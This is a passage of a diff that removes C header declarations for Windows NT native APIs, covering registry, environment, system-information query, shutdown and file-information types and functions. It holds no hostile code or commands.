- IN PRTL_HANDLE_TABLE HandleTable,
- OUT PULONG HandleIndex OPTIONAL
- );
-
-
-NTSYSAPI
-BOOLEAN
-NTAPI
-RtlFreeHandle(
- IN PRTL_HANDLE_TABLE HandleTable,
- IN PRTL_HANDLE_TABLE_ENTRY Handle
- );
-
-
-NTSYSAPI
-BOOLEAN
-NTAPI
-RtlIsValidIndexHandle(
- IN PRTL_HANDLE_TABLE HandleTable,
- IN ULONG HandleIndex,
- OUT PRTL_HANDLE_TABLE_ENTRY *Handle
- );
-
-
-NTSYSAPI
-PVOID
-NTAPI
-RtlInsertElementGenericTable (
- IN PRTL_GENERIC_TABLE Table,
- IN PVOID Buffer,
- IN LONG BufferSize,
- OUT PBOOLEAN NewElement OPTIONAL
- );
-
-
-NTSYSAPI
-BOOLEAN
-NTAPI
-RtlIsGenericTableEmpty (
- IN PRTL_GENERIC_TABLE Table
- );
-
-
-NTSYSAPI
-BOOLEAN
-NTAPI
-RtlIsGenericTableEmpty (
- IN PRTL_GENERIC_TABLE Table
- );
-
-
-NTSYSAPI
-PVOID
-NTAPI
-RtlLookupElementGenericTable (
- IN PRTL_GENERIC_TABLE Table,
- IN PVOID Buffer
- );
-
-
-NTSYSAPI
-PVOID
-NTAPI
-RtlEnumerateGenericTableWithoutSplaying(
- IN PRTL_GENERIC_TABLE Table,
- IN PVOID *RestartKey
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtClose(
- IN HANDLE Handle
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-ZwClose(
- IN HANDLE Handle
- );
-
-//-----------------------------------------------------------------------------
-// Environment functions
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-RtlOpenCurrentUser(
- IN ULONG DesiredAccess,
- OUT PHANDLE CurrentUserKey
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-RtlCreateEnvironment(
- BOOLEAN CloneCurrentEnvironment,
- PVOID *Environment
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-RtlQueryEnvironmentVariable_U (
- PVOID Environment,
- PUNICODE_STRING Name,
- PUNICODE_STRING Value
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-RtlSetEnvironmentVariable(
- PVOID *Environment,
- PUNICODE_STRING Name,
- PUNICODE_STRING Value
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-RtlDestroyEnvironment(
- PVOID Environment
- );
-
-//-----------------------------------------------------------------------------
-// Registry functions
-
-
-typedef enum _KEY_INFORMATION_CLASS
-{
- KeyBasicInformation,
- KeyNodeInformation,
- KeyFullInformation,
- KeyNameInformation,
- KeyCachedInformation,
- KeyFlagsInformation,
- MaxKeyInfoClass // MaxKeyInfoClass should always be the last enum
-
-} KEY_INFORMATION_CLASS;
-
-//
-// Key query structures
-//
-
-typedef struct _KEY_BASIC_INFORMATION
-{
- LARGE_INTEGER LastWriteTime;
- ULONG TitleIndex;
- ULONG NameLength;
- WCHAR Name[1]; // Variable length string
-
-} KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION;
-
-
-typedef struct _KEY_NODE_INFORMATION
-{
- LARGE_INTEGER LastWriteTime;
- ULONG TitleIndex;
- ULONG ClassOffset;
- ULONG ClassLength;
- ULONG NameLength;
- WCHAR Name[1]; // Variable length string
-// Class[1]; // Variable length string not declared
-} KEY_NODE_INFORMATION, *PKEY_NODE_INFORMATION;
-
-
-typedef struct _KEY_FULL_INFORMATION
-{
- LARGE_INTEGER LastWriteTime;
- ULONG TitleIndex;
- ULONG ClassOffset;
- ULONG ClassLength;
- ULONG SubKeys;
- ULONG MaxNameLen;
- ULONG MaxClassLen;
- ULONG Values;
- ULONG MaxValueNameLen;
- ULONG MaxValueDataLen;
- WCHAR Class[1]; // Variable length
-
-} KEY_FULL_INFORMATION, *PKEY_FULL_INFORMATION;
-
-
-// end_wdm
-typedef struct _KEY_NAME_INFORMATION
-{
- ULONG NameLength;
- WCHAR Name[1]; // Variable length string
-
-} KEY_NAME_INFORMATION, *PKEY_NAME_INFORMATION;
-
-typedef struct _KEY_CACHED_INFORMATION
-{
- LARGE_INTEGER LastWriteTime;
- ULONG TitleIndex;
- ULONG SubKeys;
- ULONG MaxNameLen;
- ULONG Values;
- ULONG MaxValueNameLen;
- ULONG MaxValueDataLen;
- ULONG NameLength;
- WCHAR Name[1]; // Variable length string
-
-} KEY_CACHED_INFORMATION, *PKEY_CACHED_INFORMATION;
-
-
-typedef struct _KEY_FLAGS_INFORMATION
-{
- ULONG UserFlags;
-
-} KEY_FLAGS_INFORMATION, *PKEY_FLAGS_INFORMATION;
-
-
-
-typedef enum _KEY_VALUE_INFORMATION_CLASS {
- KeyValueBasicInformation,
- KeyValueFullInformation,
- KeyValuePartialInformation,
- KeyValueFullInformationAlign64,
- KeyValuePartialInformationAlign64,
- MaxKeyValueInfoClass // MaxKeyValueInfoClass should always be the last enum
-} KEY_VALUE_INFORMATION_CLASS;
-
-
-typedef struct _KEY_VALUE_FULL_INFORMATION {
- ULONG TitleIndex;
- ULONG Type;
- ULONG DataOffset;
- ULONG DataLength;
- ULONG NameLength;
- WCHAR Name[1]; // Variable size
-// Data[1]; // Variable size data not declared
-} KEY_VALUE_FULL_INFORMATION, *PKEY_VALUE_FULL_INFORMATION;
-
-
-typedef struct _KEY_VALUE_PARTIAL_INFORMATION {
- ULONG TitleIndex;
- ULONG Type;
- ULONG DataLength;
- UCHAR Data[1]; // Variable size
-} KEY_VALUE_PARTIAL_INFORMATION, *PKEY_VALUE_PARTIAL_INFORMATION;
-
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtCreateKey(
- OUT PHANDLE KeyHandle,
- IN ACCESS_MASK DesiredAccess,
- IN POBJECT_ATTRIBUTES ObjectAttributes,
- IN ULONG TitleIndex,
- IN PUNICODE_STRING Class OPTIONAL,
- IN ULONG CreateOptions,
- OUT PULONG Disposition OPTIONAL
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtOpenKey(
- OUT PHANDLE KeyHandle,
- IN ACCESS_MASK DesiredAccess,
- IN POBJECT_ATTRIBUTES ObjectAttributes
- );
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtQueryKey(
- IN HANDLE KeyHandle,
- IN KEY_INFORMATION_CLASS KeyInformationClass,
- OUT PVOID KeyInformation,
- IN ULONG Length,
- OUT PULONG ResultLength
- );
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtEnumerateKey(
- IN HANDLE KeyHandle,
- IN ULONG Index,
- IN KEY_INFORMATION_CLASS KeyInformationClass,
- IN PVOID KeyInformation,
- IN ULONG Length,
- IN PULONG ResultLength
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtDeleteKey(
- IN HANDLE KeyHandle
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtQueryValueKey(
- IN HANDLE KeyHandle,
- IN PUNICODE_STRING ValueName,
- IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
- OUT PVOID KeyValueInformation,
- IN ULONG Length,
- OUT PULONG ResultLength
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtSetValueKey(
- IN HANDLE KeyHandle,
- IN PUNICODE_STRING ValueName,
- IN ULONG TitleIndex OPTIONAL,
- IN ULONG Type,
- IN PVOID Data,
- IN ULONG DataSize
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtDeleteValueKey(
- IN HANDLE KeyHandle,
- IN PUNICODE_STRING ValueName
- );
-
-//-----------------------------------------------------------------------------
-// RtlQueryRegistryValues
-
-//
-// The following flags specify how the Name field of a RTL_QUERY_REGISTRY_TABLE
-// entry is interpreted. A NULL name indicates the end of the table.
-//
-
-#define RTL_QUERY_REGISTRY_SUBKEY 0x00000001 // Name is a subkey and remainder of
- // table or until next subkey are value
- // names for that subkey to look at.
-
-#define RTL_QUERY_REGISTRY_TOPKEY 0x00000002 // Reset current key to original key for
- // this and all following table entries.
-
-#define RTL_QUERY_REGISTRY_REQUIRED 0x00000004 // Fail if no match found for this table
- // entry.
-
-#define RTL_QUERY_REGISTRY_NOVALUE 0x00000008 // Used to mark a table entry that has no
- // value name, just wants a call out, not
- // an enumeration of all values.
-
-#define RTL_QUERY_REGISTRY_NOEXPAND 0x00000010 // Used to suppress the expansion of
- // REG_MULTI_SZ into multiple callouts or
- // to prevent the expansion of environment
- // variable values in REG_EXPAND_SZ
-
-#define RTL_QUERY_REGISTRY_DIRECT 0x00000020 // QueryRoutine field ignored. EntryContext
- // field points to location to store value.
- // For null terminated strings, EntryContext
- // points to UNICODE_STRING structure that
- // that describes maximum size of buffer.
- // If .Buffer field is NULL then a buffer is
- // allocated.
- //
-
-#define RTL_QUERY_REGISTRY_DELETE 0x00000040 // Used to delete value keys after they
- // are queried.
-
-
-//
-// The following values for the RelativeTo parameter determine what the
-// Path parameter to RtlQueryRegistryValues is relative to.
-//
-
-#define RTL_REGISTRY_ABSOLUTE 0 // Path is a full path
-#define RTL_REGISTRY_SERVICES 1 // \Registry\Machine\System\CurrentControlSet\Services
-#define RTL_REGISTRY_CONTROL 2 // \Registry\Machine\System\CurrentControlSet\Control
-#define RTL_REGISTRY_WINDOWS_NT 3 // \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion
-#define RTL_REGISTRY_DEVICEMAP 4 // \Registry\Machine\Hardware\DeviceMap
-#define RTL_REGISTRY_USER 5 // \Registry\User\CurrentUser
-#define RTL_REGISTRY_MAXIMUM 6
-#define RTL_REGISTRY_HANDLE 0x40000000 // Low order bits are registry handle
-#define RTL_REGISTRY_OPTIONAL 0x80000000 // Indicates the key node is optional
-
-
-typedef NTSTATUS (NTAPI * PRTL_QUERY_REGISTRY_ROUTINE)(
- IN PWSTR ValueName,
- IN ULONG ValueType,
- IN PVOID ValueData,
- IN ULONG ValueLength,
- IN PVOID Context,
- IN PVOID EntryContext
- );
-
-typedef struct _RTL_QUERY_REGISTRY_TABLE
-{
- PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine;
- ULONG Flags;
- PWSTR Name;
- PVOID EntryContext;
- ULONG DefaultType;
- PVOID DefaultData;
- ULONG DefaultLength;
-
-} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE;
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-RtlQueryRegistryValues(
- IN ULONG RelativeTo,
- IN PCWSTR Path,
- IN PRTL_QUERY_REGISTRY_TABLE QueryTable,
- IN PVOID Context,
- IN PVOID Environment OPTIONAL
- );
-
-
-//-----------------------------------------------------------------------------
-// Query system information
-
-typedef enum _SYSTEM_INFORMATION_CLASS
-{
- SystemBasicInformation, // 0x00 SYSTEM_BASIC_INFORMATION
- SystemProcessorInformation, // 0x01 SYSTEM_PROCESSOR_INFORMATION
- SystemPerformanceInformation, // 0x02
- SystemTimeOfDayInformation, // 0x03
- SystemPathInformation, // 0x04
- SystemProcessInformation, // 0x05
- SystemCallCountInformation, // 0x06
- SystemDeviceInformation, // 0x07
- SystemProcessorPerformanceInformation, // 0x08
- SystemFlagsInformation, // 0x09
- SystemCallTimeInformation, // 0x0A
- SystemModuleInformation, // 0x0B SYSTEM_MODULE_INFORMATION
- SystemLocksInformation, // 0x0C
- SystemStackTraceInformation, // 0x0D
- SystemPagedPoolInformation, // 0x0E
- SystemNonPagedPoolInformation, // 0x0F
- SystemHandleInformation, // 0x10
- SystemObjectInformation, // 0x11
- SystemPageFileInformation, // 0x12
- SystemVdmInstemulInformation, // 0x13
- SystemVdmBopInformation, // 0x14
- SystemFileCacheInformation, // 0x15
- SystemPoolTagInformation, // 0x16
- SystemInterruptInformation, // 0x17
- SystemDpcBehaviorInformation, // 0x18
- SystemFullMemoryInformation, // 0x19
- SystemLoadGdiDriverInformation, // 0x1A
- SystemUnloadGdiDriverInformation, // 0x1B
- SystemTimeAdjustmentInformation, // 0x1C
- SystemSummaryMemoryInformation, // 0x1D
- SystemNextEventIdInformation, // 0x1E
- SystemEventIdsInformation, // 0x1F
- SystemCrashDumpInformation, // 0x20
- SystemExceptionInformation, // 0x21
- SystemCrashDumpStateInformation, // 0x22
- SystemKernelDebuggerInformation, // 0x23
- SystemContextSwitchInformation, // 0x24
- SystemRegistryQuotaInformation, // 0x25
- SystemExtendServiceTableInformation, // 0x26
- SystemPrioritySeperation, // 0x27
- SystemPlugPlayBusInformation, // 0x28
- SystemDockInformation, // 0x29
- //SystemPowerInformation, // 0x2A
- //SystemProcessorSpeedInformation, // 0x2B
- //SystemCurrentTimeZoneInformation, // 0x2C
- //SystemLookasideInformation // 0x2D
-
-} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;
-
-//
-// Thread priority
-//
-
-typedef LONG KPRIORITY;
-
-//
-// Basic System information
-// NtQuerySystemInformation with SystemBasicInformation
-//
-
-typedef struct _SYSTEM_BASIC_INFORMATION {
- ULONG Reserved;
- ULONG TimerResolution;
- ULONG PageSize;
- ULONG NumberOfPhysicalPages;
- ULONG LowestPhysicalPageNumber;
- ULONG HighestPhysicalPageNumber;
- ULONG AllocationGranularity;
- ULONG MinimumUserModeAddress;
- ULONG MaximumUserModeAddress;
- KAFFINITY ActiveProcessorsAffinityMask;
- CCHAR NumberOfProcessors;
-} SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION;
-
-//
-// Processor information
-// NtQuerySystemInformation with SystemProcessorInformation
-//
-
-typedef struct _SYSTEM_PROCESSOR_INFORMATION {
- USHORT ProcessorArchitecture;
- USHORT ProcessorLevel;
- USHORT ProcessorRevision;
- USHORT Reserved;
- ULONG ProcessorFeatureBits;
-} SYSTEM_PROCESSOR_INFORMATION, *PSYSTEM_PROCESSOR_INFORMATION;
-
-//
-// Performance information
-// NtQuerySystemInformation with SystemPerformanceInformation
-//
-
-typedef struct _SYSTEM_PERFORMANCE_INFORMATION {
- LARGE_INTEGER IdleProcessTime;
- LARGE_INTEGER IoReadTransferCount;
- LARGE_INTEGER IoWriteTransferCount;
- LARGE_INTEGER IoOtherTransferCount;
- ULONG IoReadOperationCount;
- ULONG IoWriteOperationCount;
- ULONG IoOtherOperationCount;
- ULONG AvailablePages;
- ULONG CommittedPages;
- ULONG CommitLimit;
- ULONG PeakCommitment;
- ULONG PageFaultCount;
- ULONG CopyOnWriteCount;
- ULONG TransitionCount;
- ULONG CacheTransitionCount;
- ULONG DemandZeroCount;
- ULONG PageReadCount;
- ULONG PageReadIoCount;
- ULONG CacheReadCount;
- ULONG CacheIoCount;
- ULONG DirtyPagesWriteCount;
- ULONG DirtyWriteIoCount;
- ULONG MappedPagesWriteCount;
- ULONG MappedWriteIoCount;
- ULONG PagedPoolPages;
- ULONG NonPagedPoolPages;
- ULONG PagedPoolAllocs;
- ULONG PagedPoolFrees;
- ULONG NonPagedPoolAllocs;
- ULONG NonPagedPoolFrees;
- ULONG FreeSystemPtes;
- ULONG ResidentSystemCodePage;
- ULONG TotalSystemDriverPages;
- ULONG TotalSystemCodePages;
- ULONG NonPagedPoolLookasideHits;
- ULONG PagedPoolLookasideHits;
- ULONG Spare3Count;
- ULONG ResidentSystemCachePage;
- ULONG ResidentPagedPoolPage;
- ULONG ResidentSystemDriverPage;
- ULONG CcFastReadNoWait;
- ULONG CcFastReadWait;
- ULONG CcFastReadResourceMiss;
- ULONG CcFastReadNotPossible;
- ULONG CcFastMdlReadNoWait;
- ULONG CcFastMdlReadWait;
- ULONG CcFastMdlReadResourceMiss;
- ULONG CcFastMdlReadNotPossible;
- ULONG CcMapDataNoWait;
- ULONG CcMapDataWait;
- ULONG CcMapDataNoWaitMiss;
- ULONG CcMapDataWaitMiss;
- ULONG CcPinMappedDataCount;
- ULONG CcPinReadNoWait;
- ULONG CcPinReadWait;
- ULONG CcPinReadNoWaitMiss;
- ULONG CcPinReadWaitMiss;
- ULONG CcCopyReadNoWait;
- ULONG CcCopyReadWait;
- ULONG CcCopyReadNoWaitMiss;
- ULONG CcCopyReadWaitMiss;
- ULONG CcMdlReadNoWait;
- ULONG CcMdlReadWait;
- ULONG CcMdlReadNoWaitMiss;
- ULONG CcMdlReadWaitMiss;
- ULONG CcReadAheadIos;
- ULONG CcLazyWriteIos;
- ULONG CcLazyWritePages;
- ULONG CcDataFlushes;
- ULONG CcDataPages;
- ULONG ContextSwitches;
- ULONG FirstLevelTbFills;
- ULONG SecondLevelTbFills;
- ULONG SystemCalls;
-} SYSTEM_PERFORMANCE_INFORMATION, *PSYSTEM_PERFORMANCE_INFORMATION;
-
-//
-// Time of Day information
-// NtQuerySystemInformation with SystemTimeOfDayInformation
-//
-
-typedef struct _SYSTEM_TIMEOFDAY_INFORMATION {
- LARGE_INTEGER BootTime;
- LARGE_INTEGER CurrentTime;
- LARGE_INTEGER TimeZoneBias;
- ULONG TimeZoneId;
- ULONG Reserved;
-} SYSTEM_TIMEOFDAY_INFORMATION, *PSYSTEM_TIMEOFDAY_INFORMATION;
-
-//
-// Process information
-// NtQuerySystemInformation with SystemProcessInformation
-//
-
-typedef struct _SYSTEM_PROCESS_INFORMATION {
- ULONG NextEntryOffset;
- ULONG NumberOfThreads;
- LARGE_INTEGER SpareLi1;
- LARGE_INTEGER SpareLi2;
- LARGE_INTEGER SpareLi3;
- LARGE_INTEGER CreateTime;
- LARGE_INTEGER UserTime;
- LARGE_INTEGER KernelTime;
- UNICODE_STRING ImageName;
- KPRIORITY BasePriority;
- ULONG_PTR UniqueProcessId;
- ULONG_PTR InheritedFromUniqueProcessId;
- ULONG HandleCount;
- // Next part is platform dependent
-
-} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
-
-//
-// Device information
-// NtQuerySystemInformation with SystemDeviceInformation
-//
-
-typedef struct _SYSTEM_DEVICE_INFORMATION {
- ULONG NumberOfDisks;
- ULONG NumberOfFloppies;
- ULONG NumberOfCdRoms;
- ULONG NumberOfTapes;
- ULONG NumberOfSerialPorts;
- ULONG NumberOfParallelPorts;
-} SYSTEM_DEVICE_INFORMATION, *PSYSTEM_DEVICE_INFORMATION;
-
-//
-// Processor performance information
-// NtQuerySystemInformation with SystemProcessorPerformanceInformation
-//
-
-typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION {
- LARGE_INTEGER IdleTime;
- LARGE_INTEGER KernelTime;
- LARGE_INTEGER UserTime;
- LARGE_INTEGER DpcTime; // DEVL only
- LARGE_INTEGER InterruptTime; // DEVL only
- ULONG InterruptCount;
-} SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION;
-
-//
-// NT Global Flag information
-// NtQuerySystemInformation with SystemFlagsInformation
-//
-
-typedef struct _SYSTEM_FLAGS_INFORMATION
-{
- ULONG GlobalFlag;
-
-} SYSTEM_FLAGS_INFORMATION, *PSYSTEM_FLAGS_INFORMATION;
-
-//
-// System Module information
-// NtQuerySystemInformation with SystemModuleInformation
-//
-
-typedef struct _SYSTEM_MODULE
-{
- ULONG Reserved1; // Should be 0xBAADF00D
- ULONG Reserved2; // Should be zero
- PVOID Base;
- ULONG Size;
- ULONG Flags;
- USHORT Index;
- USHORT Unknown;
- USHORT LoadCount;
- USHORT ModuleNameOffset;
- CHAR ImageName[256];
-
-} SYSTEM_MODULE, *PSYSTEM_MODULE;
-
-
-typedef struct _SYSTEM_MODULE_INFORMATION
-{
- ULONG ModulesCount;
- SYSTEM_MODULE Modules[1];
-
-} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
-
-/*
-typedef struct _SYSTEM_VDM_INSTEMUL_INFO {
- ULONG SegmentNotPresent ;
- ULONG VdmOpcode0F ;
- ULONG OpcodeESPrefix ;
- ULONG OpcodeCSPrefix ;
- ULONG OpcodeSSPrefix ;
- ULONG OpcodeDSPrefix ;
- ULONG OpcodeFSPrefix ;
- ULONG OpcodeGSPrefix ;
- ULONG OpcodeOPER32Prefix;
- ULONG OpcodeADDR32Prefix;
- ULONG OpcodeINSB ;
- ULONG OpcodeINSW ;
- ULONG OpcodeOUTSB ;
- ULONG OpcodeOUTSW ;
- ULONG OpcodePUSHF ;
- ULONG OpcodePOPF ;
- ULONG OpcodeINTnn ;
- ULONG OpcodeINTO ;
- ULONG OpcodeIRET ;
- ULONG OpcodeINBimm ;
- ULONG OpcodeINWimm ;
- ULONG OpcodeOUTBimm ;
- ULONG OpcodeOUTWimm ;
- ULONG OpcodeINB ;
- ULONG OpcodeINW ;
- ULONG OpcodeOUTB ;
- ULONG OpcodeOUTW ;
- ULONG OpcodeLOCKPrefix ;
- ULONG OpcodeREPNEPrefix ;
- ULONG OpcodeREPPrefix ;
- ULONG OpcodeHLT ;
- ULONG OpcodeCLI ;
- ULONG OpcodeSTI ;
- ULONG BopCount ;
-} SYSTEM_VDM_INSTEMUL_INFO, *PSYSTEM_VDM_INSTEMUL_INFO;
-
-
-typedef struct _SYSTEM_QUERY_TIME_ADJUST_INFORMATION {
- ULONG TimeAdjustment;
- ULONG TimeIncrement;
- BOOLEAN Enable;
-} SYSTEM_QUERY_TIME_ADJUST_INFORMATION, *PSYSTEM_QUERY_TIME_ADJUST_INFORMATION;
-
-typedef struct _SYSTEM_SET_TIME_ADJUST_INFORMATION {
- ULONG TimeAdjustment;
- BOOLEAN Enable;
-} SYSTEM_SET_TIME_ADJUST_INFORMATION, *PSYSTEM_SET_TIME_ADJUST_INFORMATION;
-
-
-typedef struct _SYSTEM_THREAD_INFORMATION {
- LARGE_INTEGER KernelTime;
- LARGE_INTEGER UserTime;
- LARGE_INTEGER CreateTime;
- ULONG WaitTime;
- PVOID StartAddress;
- CLIENT_ID ClientId;
- KPRIORITY Priority;
- LONG BasePriority;
- ULONG ContextSwitches;
- ULONG ThreadState;
- ULONG WaitReason;
-} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION;
-
-typedef struct _SYSTEM_MEMORY_INFO {
- PUCHAR StringOffset;
- USHORT ValidCount;
- USHORT TransitionCount;
- USHORT ModifiedCount;
- USHORT PageTableCount;
-} SYSTEM_MEMORY_INFO, *PSYSTEM_MEMORY_INFO;
-
-typedef struct _SYSTEM_MEMORY_INFORMATION {
- ULONG InfoSize;
- ULONG StringStart;
- SYSTEM_MEMORY_INFO Memory[1];
-} SYSTEM_MEMORY_INFORMATION, *PSYSTEM_MEMORY_INFORMATION;
-
-typedef struct _SYSTEM_CALL_COUNT_INFORMATION {
- ULONG Length;
- ULONG NumberOfTables;
- //ULONG NumberOfEntries[NumberOfTables];
- //ULONG CallCounts[NumberOfTables][NumberOfEntries];
-} SYSTEM_CALL_COUNT_INFORMATION, *PSYSTEM_CALL_COUNT_INFORMATION;
-
-typedef struct _SYSTEM_CRASH_DUMP_INFORMATION {
- HANDLE CrashDumpSection;
-} SYSTEM_CRASH_DUMP_INFORMATION, *PSYSTEM_CRASH_DUMP_INFORMATION;
-
-typedef struct _SYSTEM_EXCEPTION_INFORMATION {
- ULONG AlignmentFixupCount;
- ULONG ExceptionDispatchCount;
- ULONG FloatingEmulationCount;
- ULONG ByteWordEmulationCount;
-} SYSTEM_EXCEPTION_INFORMATION, *PSYSTEM_EXCEPTION_INFORMATION;
-
-typedef struct _SYSTEM_CRASH_STATE_INFORMATION {
- ULONG ValidCrashDump;
-} SYSTEM_CRASH_STATE_INFORMATION, *PSYSTEM_CRASH_STATE_INFORMATION;
-
-typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION {
- BOOLEAN KernelDebuggerEnabled;
- BOOLEAN KernelDebuggerNotPresent;
-} SYSTEM_KERNEL_DEBUGGER_INFORMATION, *PSYSTEM_KERNEL_DEBUGGER_INFORMATION;
-
-typedef struct _SYSTEM_REGISTRY_QUOTA_INFORMATION {
- ULONG RegistryQuotaAllowed;
- ULONG RegistryQuotaUsed;
- ULONG PagedPoolSize;
-} SYSTEM_REGISTRY_QUOTA_INFORMATION, *PSYSTEM_REGISTRY_QUOTA_INFORMATION;
-
-typedef struct _SYSTEM_GDI_DRIVER_INFORMATION {
- UNICODE_STRING DriverName;
- PVOID ImageAddress;
- PVOID SectionPointer;
- PVOID EntryPoint;
- PIMAGE_EXPORT_DIRECTORY ExportSectionPointer;
-} SYSTEM_GDI_DRIVER_INFORMATION, *PSYSTEM_GDI_DRIVER_INFORMATION;
-*/
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtQuerySystemInformation(
- IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
- OUT PVOID SystemInformation,
- IN ULONG SystemInformationLength,
- OUT PULONG ReturnLength
- );
-
-//------------------------------------------------------------------------------
-// Shutdown system
-
-typedef enum _SHUTDOWN_ACTION
-{
- ShutdownNoReboot,
- ShutdownReboot,
- ShutdownPowerOff
-
-} SHUTDOWN_ACTION, *PSHUTDOWN_ACTION;
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtShutdownSystem(
- IN SHUTDOWN_ACTION Action
- );
-
-//-----------------------------------------------------------------------------
-// File functions
-
-#ifndef OLD_DOS_VOLID
-#define OLD_DOS_VOLID 0x00000008
-#endif
-
-#ifndef FILE_SUPERSEDE
-#define FILE_SUPERSEDE 0x00000000
-#define FILE_OPEN 0x00000001
-#define FILE_CREATE 0x00000002
-#define FILE_OPEN_IF 0x00000003
-#define FILE_OVERWRITE 0x00000004
-#define FILE_OVERWRITE_IF 0x00000005
-#define FILE_MAXIMUM_DISPOSITION 0x00000005
-#endif // File create flags
-
-
-// Define the create/open option flags
-#ifndef FILE_DIRECTORY_FILE
-#define FILE_DIRECTORY_FILE 0x00000001
-#define FILE_WRITE_THROUGH 0x00000002
-#define FILE_SEQUENTIAL_ONLY 0x00000004
-#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008
-#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010
-#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020
-#define FILE_NON_DIRECTORY_FILE 0x00000040
-#define FILE_CREATE_TREE_CONNECTION 0x00000080
-#define FILE_COMPLETE_IF_OPLOCKED 0x00000100
-#define FILE_NO_EA_KNOWLEDGE 0x00000200
-#define FILE_OPEN_FOR_RECOVERY 0x00000400
-#define FILE_RANDOM_ACCESS 0x00000800
-#define FILE_DELETE_ON_CLOSE 0x00001000
-#define FILE_OPEN_BY_FILE_ID 0x00002000
-#define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000
-#define FILE_NO_COMPRESSION 0x00008000
-#define FILE_RESERVE_OPFILTER 0x00100000
-#define FILE_OPEN_REPARSE_POINT 0x00200000
-#define FILE_OPEN_NO_RECALL 0x00400000
-#define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000
-#endif // FILE_DIRECTORY_FILE
-
-
-//
-// Define the I/O status information return values for NtCreateFile/NtOpenFile
-//
-
-#ifndef FILE_SUPERSEDED
-#define FILE_SUPERSEDED 0x00000000
-#define FILE_OPENED 0x00000001
-#define FILE_CREATED 0x00000002
-#define FILE_OVERWRITTEN 0x00000003
-#define FILE_EXISTS 0x00000004
-#define FILE_DOES_NOT_EXIST 0x00000005
-#endif
-
-
-#ifndef PIO_APC_ROUTINE_DEFINED
-typedef
-VOID
-(NTAPI *PIO_APC_ROUTINE) (
- IN PVOID ApcContext,
- IN PIO_STATUS_BLOCK IoStatusBlock,
- IN ULONG Reserved
- );
-#define PIO_APC_ROUTINE_DEFINED
-#endif // PIO_APC_ROUTINE_DEFINED
-
-
-typedef enum _FILE_INFORMATION_CLASS
-{
- FileDirectoryInformation = 1,
- FileFullDirectoryInformation, // 2
- FileBothDirectoryInformation, // 3
- FileBasicInformation, // 4 wdm
- FileStandardInformation, // 5 wdm
- FileInternalInformation, // 6
- FileEaInformation, // 7
- FileAccessInformation, // 8
- FileNameInformation, // 9
- FileRenameInformation, // 10
- FileLinkInformation, // 11
- FileNamesInformation, // 12
- FileDispositionInformation, // 13
- FilePositionInformation, // 14 wdm
- FileFullEaInformation, // 15
- FileModeInformation, // 16
- FileAlignmentInformation, // 17
- FileAllInformation, // 18
- FileAllocationInformation, // 19
- FileEndOfFileInformation, // 20 wdm
- FileAlternateNameInformation, // 21
- FileStreamInformation, // 22
- FilePipeInformation, // 23
- FilePipeLocalInformation, // 24
- FilePipeRemoteInformation, // 25
- FileMailslotQueryInformation, // 26
- FileMailslotSetInformation, // 27
- FileCompressionInformation, // 28
- FileObjectIdInformation, // 29
- FileCompletionInformation, // 30
- FileMoveClusterInformation, // 31
- FileQuotaInformation, // 32
- FileReparsePointInformation, // 33
- FileNetworkOpenInformation, // 34
- FileAttributeTagInformation, // 35
- FileTrackingInformation, // 36
- FileIdBothDirectoryInformation, // 37
- FileIdFullDirectoryInformation, // 38
- FileValidDataLengthInformation, // 39
- FileShortNameInformation, // 40
- FileIoCompletionNotificationInformation, // 41
- FileIoStatusBlockRangeInformation, // 42
- FileIoPriorityHintInformation, // 43
- FileSfioReserveInformation, // 44
- FileSfioVolumeInformation, // 45
- FileHardLinkInformation, // 46
- FileProcessIdsUsingFileInformation, // 47
- FileMaximumInformation // 48
-} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS;
-
-
-typedef struct _FILE_DIRECTORY_INFORMATION {
- ULONG NextEntryOffset;
- ULONG FileIndex;
- LARGE_INTEGER CreationTime;
- LARGE_INTEGER LastAccessTime;
- LARGE_INTEGER LastWriteTime;
- LARGE_INTEGER ChangeTime;
- LARGE_INTEGER EndOfFile;
- LARGE_INTEGER AllocationSize;
- ULONG FileAttributes;
- ULONG FileNameLength;
- WCHAR FileName[1];
-} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;
-
-
-typedef struct _FILE_FULL_DIR_INFORMATION {
